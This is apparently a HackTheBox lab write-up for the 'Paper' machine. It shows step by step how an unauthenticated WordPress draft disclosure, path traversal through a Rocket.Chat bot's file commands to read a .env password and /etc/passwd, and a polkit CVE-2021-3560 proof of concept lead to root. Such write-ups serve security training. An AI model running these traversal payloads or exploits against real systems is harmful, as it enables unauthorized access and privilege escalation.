



HACKTHEBOX



Paper

18th June 2022 / Document No D22.100.181

Prepared By: dotguy

Machine Author(s): secnigma

Difficulty: Easy

Synopsis

Paper is an easy Linux machine that features an Apache server on ports 80 and 443, which are serving the HTTP and HTTPS versions of a website respectively. The website on port 80 returns a default server webpage but the HTTP response header reveals a hidden domain. This hidden domain is running a WordPress blog, whose version is vulnerable to [CVE-2019-17671](#). This vulnerability allows us to view the confidential information stored in the draft posts of the blog, which reveal another URL leading to an employee chat system. This chat system is based on Rocketchat. Reading through the chats we find that there is a bot running which can be queried for specific information. We can exploit the bot functionality to obtain the password of a user on the system. Further host enumeration reveals that the sudo version is vulnerable to [CVE-2021-3560](#) and can be exploited to elevate to root privileges.

Skills required

- Linux Fundamentals

Skills learned

- CVE exploitation
- Web Enumeration

Enumeration

Nmap

Let's run a Nmap scan to discover the open ports of the remote host.

```
ports=$(nmap -p- --min-rate=1000 -T4 10.129.1.11 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$/)
nmap -p$ports -sV 10.10.11.143
```



```
$ nmap -p$ports -sV 10.10.11.143
Nmap scan report for 10.10.11.143
Host is up (0.28s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
443/tcp   open  ssl/http    Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
```

The Nmap scan shows that OpenSSH is running on its default port, i.e. `port 22`. Furthermore, the Apache HTTP web server is serving an `HTTP` webpage on `port 80` along with its `HTTPS` version on `port 443`.

HTTP

Browsing to `port 80`, we see a default server web page that contains no interesting information.

HTTP SERVER TEST PAGE

This page is used to test the proper operation of the HTTP server after it has been installed. If you can read this page it means that this site is working properly. This server is powered by [CentOS](#).

If you are a member of the general public:

The website you just visited is either experiencing problems or is undergoing routine maintenance.

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name "webmaster" and directed to the website's domain should reach the appropriate person.

For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster@example.com".

If you are the website administrator:

You may now add content to the webroot directory. Note that until you do so, people visiting your website will see this page, and not your content.

For systems using the Apache HTTP Server: You may now add content to the directory `/var/www/html/`. Note that until you do so, people visiting your website will see this page, and not your content. To prevent this page from ever being used, follow the instructions in the file `/etc/httpd/conf.d/welcome.conf`.

For systems using NGINX: You should now put your content in a location of your choice and edit the `root` configuration directive in the `nginx` configuration file `/etc/nginx/nginx.conf`.



Important note!

The CentOS Project has nothing to do with this website or its content, it just provides the software that makes the website run.

Let's intercept the web request to this webpage in BurpSuite to check for any useful information in the HTTP response.

Request

```
1 GET / HTTP/1.1
2 Host: 10.10.11.143
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*
 ;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9
10
```

Response

```
1 HTTP/1.1 403 Forbidden
2 Date: Thu, 16 Jun 2022 09:35:53 GMT
3 Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
4 X-Backend-Server: office.paper
5 Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
6 ETag: "30c0b-5c57fdeec240"
7 Accept-Ranges: bytes
8 Content-Length: 199691
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12 <!DOCTYPE html>
13 <html lang="en">
```

We can see that the `X-Backend-Server` HTTP header in the HTTP response has a value that seems to be a VHost domain. This means that the webserver is most likely using Virtual Host routing.

Let's add an entry for `office.paper` in the `/etc/hosts` file with the corresponding IP address to be able to access this domain in our browser.

```
echo "10.10.11.143 office.paper" | sudo tee -a /etc/hosts
```

Upon visiting `office.paper` in the browser, we see a WordPress blog.



Blunder Tiffin Inc.

The best paper company in the electric-city Scranton!

A screenshot of a blog post titled "Feeling Alone!" by "Prisonmike". The post was published on June 19, 2021, and has 1 comment. The post content expresses regret over removing other employees from the blog and states that there is now only one user left. A "READ MORE" button is visible at the bottom of the post.

Feeling Alone!

I am sorry everyone. I wanted to add every one of my friends to this blog, but Jan didn't let me. So, other employees who were added to this blog are now removed. As of now there is only one user in this blog. Which is me! Just me.

[READ MORE](#)

Secret of my success

Don't ever, for any reason, do anything to anyone for any reason ever, no matter what, no matter where, or who, or who you are with, or where you are going, or where you've been... ever, for any reason whatsoever...

Search ... [Search](#)

Recent Posts

Feeling Alone!
Secret of my success
Hello Scranton!

Recent Comments

On further enumeration we find a suspicious comment on one of the posts that hints toward the presence of some confidential information in the WordPress drafts.

 Prisonmike |  1 Comment |  June 19, 2021

Feeling Alone!

I am sorry everyone. I wanted to add every one of my friends to this blog, but Jan didn't let me.

So, other employees who were added to this blog are now removed.

As of now there is only one user in this blog. Which is me! Just me.

[< Previous Article](#)

One thought on “Feeling Alone!”



nick

June 20, 2021 at 2:49 pm

Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think!

-Nick

[Log in to Reply](#)

Leave a Reply

You must be logged in to post a comment.

We can use the [Wappalyzer](#) browser extension to check the Wordpress version. Wappalyzer is a technology profiler that shows the technologies a website is using along with their version. We can install this extension on a supported browser from [here](#).

After the extension has been installed, click on the Wappalyzer browser extension icon from the WordPress website. The Wappalyzer browser extension detects the Wordpress version as `5.2.3` on `office.paper`.



TECHNOLOGIES

MORE INFO

Export

CMS

[WordPress](#) 5.2.3

Operating systems

[CentOS](#)

Blogs

[WordPress](#) 5.2.3

Web server extensions

[OpenSSL](#) 1.1.1k

Font scripts

[Font Awesome](#)[Google Font API](#)

Databases

[MySQL](#)

JavaScript libraries

Upon running a quick Google search along with the keywords "wordpress 5.2.3 exploits", we can identify [CVE-2019-17671](#) which allows a user to view private/draft posts without authentication. This vulnerability aligns perfectly with the suspicious comment that we found earlier. Let us exploit this vulnerability to view the secret content present in the draft posts.

To do so, we can add `?static=1` to the WordPress URL as mentioned in [the PoC](#).

```
http://office.paper/?static=1
```

test

Micheal please remove the secret from drafts for gods sake!

Hello employees of Blunder Tiffin,

Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.

So, I kindly request you all to take your discussions from the public blog to a more private chat system.

-Nick

Warning for Michael

Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick

Threat Level Midnight

A MOTION PICTURE SCREENPLAY,
WRITTEN AND DIRECTED BY
MICHAEL SCOTT

[INT:DAY]

Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwight....

Secret Registration URL of new Employee chat system

<http://chat.office.paper/register/8qozr226AhkCHZdyY>

I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.

Also, stop looking at my drafts. Jeez!

Recent Posts

Feeling Alone!

Secret of my success

Hello Scranton!

Recent Comments

Nick on Feeling Alone!

Creed Bratton on Hello Scranton!

We are successfully able to see the drafts. In the drafts, there exists a secret registration URL of an employee chat system.

```
http://chat.office.paper/register/8qozr226AhkCHZdyY
```

Let us also add an entry for this sub-domain `chat.office.paper` to the `/etc/hosts` file, so that we can access it in the browser.

```
echo "10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts
```

Upon visiting this link in the browser, we see a registration page for the Rocketchat service.

The screenshot shows the Rocket.Chat registration interface. At the top is the Rocket.Chat logo. Below it is a white registration form with four input fields: 'Name', 'Email', 'Password', and 'Confirm your password'. A blue 'Register a new account' button is centered below the fields. At the bottom left of the form is a link 'Back to login'. Below the form, a small note states: 'By proceeding you are agreeing to our [Terms of Service](#), [Privacy Policy](#) and [Legal Notice](#)'. It also mentions 'Powered by Open Source Chat Platform Rocket.Chat'.

Let's attempt to create an account using the credentials of our choice.

This screenshot shows the same registration form as above, but with the following values entered into the fields: 'Name' is 'dotguy', 'Email' is 'dotguy@paper.com', 'Password' is '*****', and 'Confirm your password' is also '*****'. The rest of the page, including the logo, buttons, and legal notices, remains identical to the first screenshot.

Once we've logged in, we can see the `#general` channel in the top left corner where the employees chat, however, the channel is now set to read-only so no messages can be sent.

This room is read only

From reading the small chat history in the `#general` channel, we can see that the user `dwight` has added a bot called `recyclops` to the channel and we are able to send direct messages to it.

JIM9334 3:52 PM
hey, did you guys saw **DwightKSchrute** added a new bot to this channel?

Receptionitis15 3:54 PM
JIM9334 Really!? Why?

JIM9334 3:56 PM
Receptionitis15 So, that he can be more productive and stop being a "time thief" !

Receptionitis15 3:57 PM
JIM9334 That's unsurprising, considering what **DwightKSchrute** had done before. How can we interact with his bot?

DwightKSchrute 4:00 PM
Receptionitis15 Just call the bot by his name and say help. His name is recyclops.
For eg: sending "recyclops help" will spawn the bot and he'll tell you what you can and cannot ask him.
Now stop wasting my time PAM! I've got work to do!

JIM9334 4:00 PM
DwightKSchrute That's 20 seconds.

DwightKSchrute 4:01 PM
Bye fellow workers. 😊

The chat above also mentions that we can send the message `recyclops help`, which will cause the bot to reply with its usage page. We can search `recyclops` in the top left menu bar and click the bot's profile name to start a Direct Message with it. Let's now send the `recyclops help` message.

`recyclops help`

 recycllops ☆

 dotguy 4:25 PM
recyclops help

 recycllops Bot 4:25 PM
Hello, I am Recyclops. A bot assigned by Dwight. I will have my revenge on earthlings, but before that, I have to help my Cool friend Dwight to respond to the annoying questions asked by his co-workers, so that he may use his valuable time to... well, not interact with his co-workers.

Most frequently asked questions include:

- What time is it?
- What new files are in your sale directory?
- Why did the salesman crossed the road?
- What's the content of file x in your sales directory? etc.

Please note that I am a beta version and I still have some bugs to be fixed.

How to use me ?:

1. Small Talk:
You can ask me how dwight's weekend was, or did he watched the game last night etc.
eg: 'recyclops how was your weekend?' or 'recyclops did you watched the game last night?' or 'recyclops what kind of bear is the best?'
2. Joke:
You can ask me Why the salesman crossed the road.
eg: 'recyclops why did the salesman crossed the road?'

<=====The following two features are for those boneheads, who still don't know how to use scp. I'm Looking at you Kevin.=====>

For security reasons, the access is limited to the Sales folder.

3. Files:
eg: 'recyclops get me the file test.txt', or 'recyclops could you send me the file sale/secret.xls' or just 'recyclops file test.txt'
4. List:
You can ask me to list the files
eg: 'recyclops i need directory list sale' or just 'recyclops list sale'

5. Time:



Among all the tasks, task numbers 3 & 4 seem to be the most interesting ones. Option 3 says that by using the `file` command we can make the bot read a specified file. Option 4 mentions that by using the `list` command we can make the bot list the files present in a directory, although, as mentioned in the message, the functionality of options 3 & 4 is limited to the `sales` folder. Let's try enumerating the file system using these commands.

```
list
list sale
list sale_2
```

D dotguy 4:35 PM
list

 recycllops Bot 4:35 PM
Fetching the directory listing of /sales/
total 0
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .
drwx----- 11 dwight dwight 281 Feb 6 07:46 ..
drwxr-xr-x 2 dwight dwight 27 Sep 15 2021 sale
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2

D dotguy 4:36 PM
list sale

 recycllops Bot 4:36 PM
Fetching the directory listing of sale
total 4
drwxr-xr-x 2 dwight dwight 27 Sep 15 2021 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 158 Sep 15 2021 portfolio.txt

D dotguy 4:36 PM
list sale_2

 recycllops Bot 4:36 PM
Fetching the directory listing of sale_2
total 4
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 113 Jul 3 2021 portfolio.txt

The `sales` directory contains nothing useful (for all The Office fans out there, we would suggest that you read the files present here, as they serve as fun easter eggs).

Foothold

As seen in the help page, the bot is only limited to the `Sales` directory and there is no way for us to change the current working directory, however, we might be able to use `..` in order to list and read files from other directories.

```
list ..
```

D dotguy 4:43 PM
list ..

recyclops Bot 4:43 PM
Fetching the directory listing of ..

```
total 32
drwx----- 11 dwight dwight 281 Feb 6 07:46 .
drwxr-xr-x. 3 root root 20 Jan 14 06:50 ..
lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 2021 bot_restart.sh
drwx----- 5 dwight dwight 56 Jul 3 2021 .config
-rw----- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx----- 2 dwight dwight 44 Jul 3 2021 .gnupg
drwx----- 8 dwight dwight 4096 Sep 16 2021 hubot
-rw-rw-r-- 1 dwight dwight 18 Sep 16 2021 hubot_history
drwx----- 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
drwx----- 2 dwight dwight 6 Sep 16 2021 .ssh
-r----- 1 dwight dwight 33 Jun 16 04:47 user.txt
drwxr-xr-x 2 dwight dwight 24 Sep 16 2021 .vim
```

This was successful and the output shows what appears to be the home directory of a user called `dwight`. Looking around, we can see the directory of the bot called `hubot`. A quick Google search using the keywords `rocketchat hubot password file` shows a [github page](#) where we can see that the `hubot` configuration is stored in a file called `.env`.

Configuring Your Bot

In local development, the following can be set in an `.env` file. In production they would need to be set on server startup.

The Rocket.Chat adapter implements the Rocket.Chat Node.js SDK to load all settings from the environment. So the following are just some of those settings, relevant to Hubot. It has some additional configs, [documented here](#).

Env variable	Description
<code>HUBOT</code>	A subset of relevant Hubot env vars
<code>HUBOT_ADAPTER</code>	Set to <code>rocketchat</code> (or pass as launch argument)
<code>HUBOT_NAME</code>	The programmatic name for listeners
<code>HUBOT_ALIAS</code>	An alternate name for the bot to respond to
<code>HUBOT_LOG_LEVEL</code>	The minimum level of logs to output (error)
<code>HUBOT_HTTPD</code>	If the bot needs to listen to or make HTTP requests
<code>Rocket.Chat SDK</code>	A subset of relevant SDK env vars
<code>ROCKETCHAT_URL</code> *	Local Rocketchat address (start before the bot)
<code>ROCKETCHAT_USER</code> *	Name in the platform (bot user must be created first)
<code>ROCKETCHAT_PASSWORD</code> *	Matching the credentials setup in Rocket.Chat
<code>ROCKETCHAT_ROOM</code>	The default room/s for the bot to listen in to (csv)
<code>LISTEN_ON_ALL_PUBLIC</code>	DEPRECATED - DO NOT USE
<code>RESPOND_TO_DM</code>	If the bot can respond privately or only in the open
<code>RESPOND_TO_EDITED</code>	If the bot should reply / re-reply to edited messages
<code>RESPOND_TO_LIVECHAT</code>	If the bot should respond in livechat rooms
<code>`INTEGRATION_ID</code>	Name to ID source of messages in code (e.g Hubot)

Listing the files in the hubot directory, we see the `.env` file.

```
list ../hubot
```

D dotguy 5:04 PM
list/hubot

recyclops Bot 5:04 PM
Fetching the directory listing of/hubot

```
total 308
drwx----- 8 dwight dwight 4096 Sep 16 2021 .
drwx----- 11 dwight dwight 281 Feb 6 07:46 ..
-rw-r--r-- 1 dwight dwight 0 Jul 3 2021 127.0.0.1:8000
srwxrwxr-x 1 dwight dwight 0 Jul 3 2021 127.0.0.1:8080
drwx--x--x 2 dwight dwight 36 Sep 16 2021 bin
-rw-r--r-- 1 dwight dwight 258 Sep 16 2021 .env
-rwxr-xr-x 1 dwight dwight 2 Jul 3 2021 external-scripts.json
drwx----- 8 dwight dwight 163 Jul 3 2021 .git
-rw-r--r-- 1 dwight dwight 917 Jul 3 2021 .gitignore
-rw-r--r-- 1 dwight dwight 126951 Jun 16 07:34 .hubot.log
-rwxr-xr-x 1 dwight dwight 1068 Jul 3 2021 LICENSE
drwxr-xr-x 89 dwight dwight 4096 Jul 3 2021 node_modules
drwx--x--x 115 dwight dwight 4096 Jul 3 2021 node_modules_bak
-rwxr-xr-x 1 dwight dwight 1062 Sep 16 2021 package.json
-rwxr-xr-x 1 dwight dwight 972 Sep 16 2021 package.json.bak
-rwxr-xr-x 1 dwight dwight 30382 Jul 3 2021 package-lock.json
-rwxr-xr-x 1 dwight dwight 14 Jul 3 2021 Procfile
-rwxr-xr-x 1 dwight dwight 5044 Jul 3 2021 README.md
drwx--x--x 2 dwight dwight 193 Jan 13 10:56 scripts
-rwxr-xr-x 1 dwight dwight 100 Jul 3 2021 start_bot.sh
drwx----- 2 dwight dwight 25 Jul 3 2021 vscode
-rwxr-xr-x 1 dwight dwight 29951 Jul 3 2021 yarn.lock
```

Let us view the contents of the `/hubot/.env` file using the `file` command.

```
file ..../hubot/.env
```

D dotguy 9:41 PM
file/hubot/.env

recyclops Bot 9:41 PM
<=====Contents of file/hubot/.env=====>

```
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<=====End of file ..../hubot/.env=====>
```

```
PASSWORD = Queenofblad3s!23
```

We have obtained a password. Let us fetch the `/etc/passwd` file to check the users on the system.

```
file ../../etc/passwd
```

```

rpc ✘ 32:32:Rpcbind Daemon:/var/lib/rpcbind/sbin/nologin
gluster ✘ 994:989:GlusterFS daemons:/run/gluster/sbin/nologin
chrony ✘ 993:987::/var/lib/chrony/sbin/nologin
libstoragemgmt ✘ 992:986:daemon account for libstoragemgmt:/var/run/lsm/sbin/nologin
saslauthd ✘ 991:76:Saslauthd user:/run/saslauthd/sbin/nologin
dnsmasq ✘ 985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq/sbin/nologin
radvd ✘ 75:75:radvd user:/sbin/nologin
clevis ✘ 984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis/sbin/nologin
pegasus ✘ 66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus/sbin/nologin
sssd ✘ 983:981:User for sssd:/sbin/nologin
colord ✘ 982:980:User for colord:/var/lib/colord/sbin/nologin
rpcuser ✘ 29:29:RPC Service User:/var/lib/nfs/sbin/nologin
setroubleshoot ✘ 981:979:/var/lib/setroubleshoot/sbin/nologin
pipewire ✘ 980:978:PipeWire System Daemon:/var/run/pipewire/sbin/nologin
gdm ✘ 42:42:/var/lib/gdm/sbin/nologin
gnome-initial-setup ✘ 979:977:/run/gnome-initial-setup/sbin/nologin
insights ✘ 978:976:Red Hat Insights:/var/lib/insights/sbin/nologin
sshd ✘ 74:74:Privilege-separated SSH:/var/empty/sshd/sbin/nologin
avahi ✘ 70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon/sbin/nologin
tcpdump ✘ 72:72::/sbin/nologin
mysql ✘ 27:27:MySQL Server:/var/lib/mysql/sbin/nologin
nginx ✘ 977:975:Nginx web server:/var/lib/nginx/sbin/nologin
mongod ✘ 976:974:mongod:/var/lib/mongo/bin/false
rocketchat ✘ 1001:1001::/home/rocketchat/bin/bash
dwight ✘ 1004:1004::/home/dwight/bin/bash
<=====End of file ../../etc/passwd=====>

```

We can see two regular users, namely `rocketchat` & `dwight`. Upon trying to login over SSH using the obtained password for both the users, we were able to log in as user `dwight`.

```
ssh dwight@10.10.11.143
```

```

$ ssh dwight@10.10.11.143
dwight@10.10.11.143's password:
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue Feb  1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)

[dwight@paper hubot]$ ls -al /home/dwight/ | grep user.txt
-r----- 1 dwight dwight 33 Jun 16 04:47 user.txt

```

This is successful and the user flag can be found at `/home/dwight/user.txt`.

Privilege Escalation

During local enumeration of system packages, we came across the installed version of `polkit`.

```
[dwight@paper ~]$ rpm -qa polkit  
polkit-0.115-6.el8.x86_64
```

In Linux, [polkit](#) is an authorization service used for allowing unprivileged processes to communicate with privileged processes. When a low privileged user or process wants to access resources that require higher privileges, the polkit authorization service either makes an allow or deny decision behind the scenes, or prompts a dialogue box to receive further authorization before granting the needed privileges.

Searching on Google for [polkit](#) exploits, we come across [this](#) article, which affects polkit version < 0.119. CVE-2021-3560 is an authentication bypass vulnerability that allows a regular user to elevate its privileges to that of a root user. This flaw could be used by an unprivileged local user to create a new local administrator, which results in the complete compromise of the system.

Upon searching, we find [this PoC](#) on Github. Let's download this exploit and transfer it to the remote host. We can either use the flag options available in the proof of concept script to set the desired username and password for the new user, or directly change the hardcoded username and password in the PoC code itself. For this writeup, we changed the credentials in the PoC code.

```
# [** SNIP **]

if [[ $USR ]];then
    username=$(echo $USR)
else
    username="dotguy"
fi
printf "\n"
printf "${BLUE}![${NC} Username set as : \"$username\"\n"
if [[ $PASS ]];then
    password=$(echo $PASS)
else

    password="pass123"
fi

# [** SNIP **]
```

Let us now run the exploit after making it executable.

```
chmod +x poc.sh
./poc.sh
```



```
$ ./poc.sh

[!] Username set as : dotguy

[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable

[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username dotguy...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username dotguy with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - dotguy
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
```

The output messages assert that a new user has been created with the specified credentials. Let's confirm this by switching to the new user.



```
$ su dotguy
Password:

[dotguy@paper tmp]$ sudo bash
```

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

[sudo] password for dotguy:

```
[root@paper tmp]# id
uid=0(root) gid=0(root) groups=0(root)
```

The exploit was successfully able to create a new user with sudo privileges. The root flag can be found at
`/root/root.txt`.